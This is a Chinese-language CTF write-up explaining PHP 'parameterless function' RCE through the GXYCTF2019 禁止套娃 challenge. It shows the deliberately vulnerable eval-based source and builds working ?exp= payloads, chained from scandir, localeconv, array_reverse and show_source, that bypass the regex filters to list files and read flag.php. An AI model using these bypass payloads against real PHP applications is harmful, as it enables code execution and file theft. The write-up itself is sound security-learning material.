前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
参考链接:
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#什么是无参数函数RCE
https://www.cnblogs.com/wangtanzhi/p/12260986.html
什么是无参数函数RCE
传统意义上,如果我们有eval($_GET['code']);
即代表我们可以进行getshell
但如果有了这种限制
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
该正则会限制函数内参数的使用,只允许这样的格式
a(b(c()));
a();
但不允许这样
a('123');
这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
我们需要进行bypass这种限制,这就是无参数函数RCE
[GXYCTF2019]禁止套娃
我们可以用一道CTF题目来实例
题目里面就只有输出这串字符,什么提示都没有,多半就是源码泄露了
参考大佬的wp,是.git
泄露,但是我用GitHack扒拉不出源码来,(;´д`)ゞ
只能扒拉大佬的了( • ̀ω•́ )✧
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
这个题很典型的无参数函数RCE
既然是无参数函数RCE,那就不用考虑getshell了,需要考虑怎么读源码
flag多半就在flag.php里面,那我们先构造一个读当前目录的代码,看看有什么文件
print_r(scandir('.'));
scandir()函数可以扫描当前目录下的文件,这串代码足以完成上面的需求
但是这是无参数函数RCE啊,直接传入该代码,中间的'.'
会给匹配到的
所以我们需要一个无参函数的值来代替中间那个'.'
看看这些函数:
localeconv()
函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是`.`
current()
返回数组中的当前单元, 默认取第一个值
pos()
与current()函数相同的作用
看到这里是不是就想到了!
我们可以利用这些函数构造查看目录的payload:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
果然有个flag.php!
既然是数组,那我们怎么单独指向它呢?
再看看以下函数:
array_reverse()
以相反的元素顺序返回数组
array_flip()
交换数组的键和值
array_rand()
从数组中随机取出一个或多个单元
next()
函数将内部指针指向数组中的下一个元素,并输出
看到这些操作数组的函数,是不是就联想到很多可能性了呢(´・ᴗ・`)
print_r(array_reverse(scandir(current(localeconv()))));
和
print_r(array_rand(array_flip(scandir(current(localeconv())))));
//上面这串感觉很鸡肋,但也不是不能用,作用是反转数组里面的值和键,用原本的键当做参数供array_rand()来随机指向flag.php
这样就可以把数组反过来了,再加上个next把指针指向下一个
print_r(next(array_reverse(scandir(current(localeconv())))));
就可以指向flag.php了,那么怎么读它呢?
最后看看这些函数:
file_get_contents()
readfile()
highlight_file()
show_source()
这些函数都可以输出源码,但需要注意的是,上面index.php代码中正则匹配了et
字符,file_get_contents()就用不了啦
构造读flag的payload:
?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
//这种方式需要用源代码查看flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
//数组的元素比较少,多刷新几次会显示出来的
——————————————————————————————————————————————————
还看到大佬的wp中有一种看起来很 玄学 牛逼的方法(反正能用来拿flag的都是好方法)
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
因此手动设置名为PHPSESSID的cookie,并设置值为flag.php
然后改一下输出方式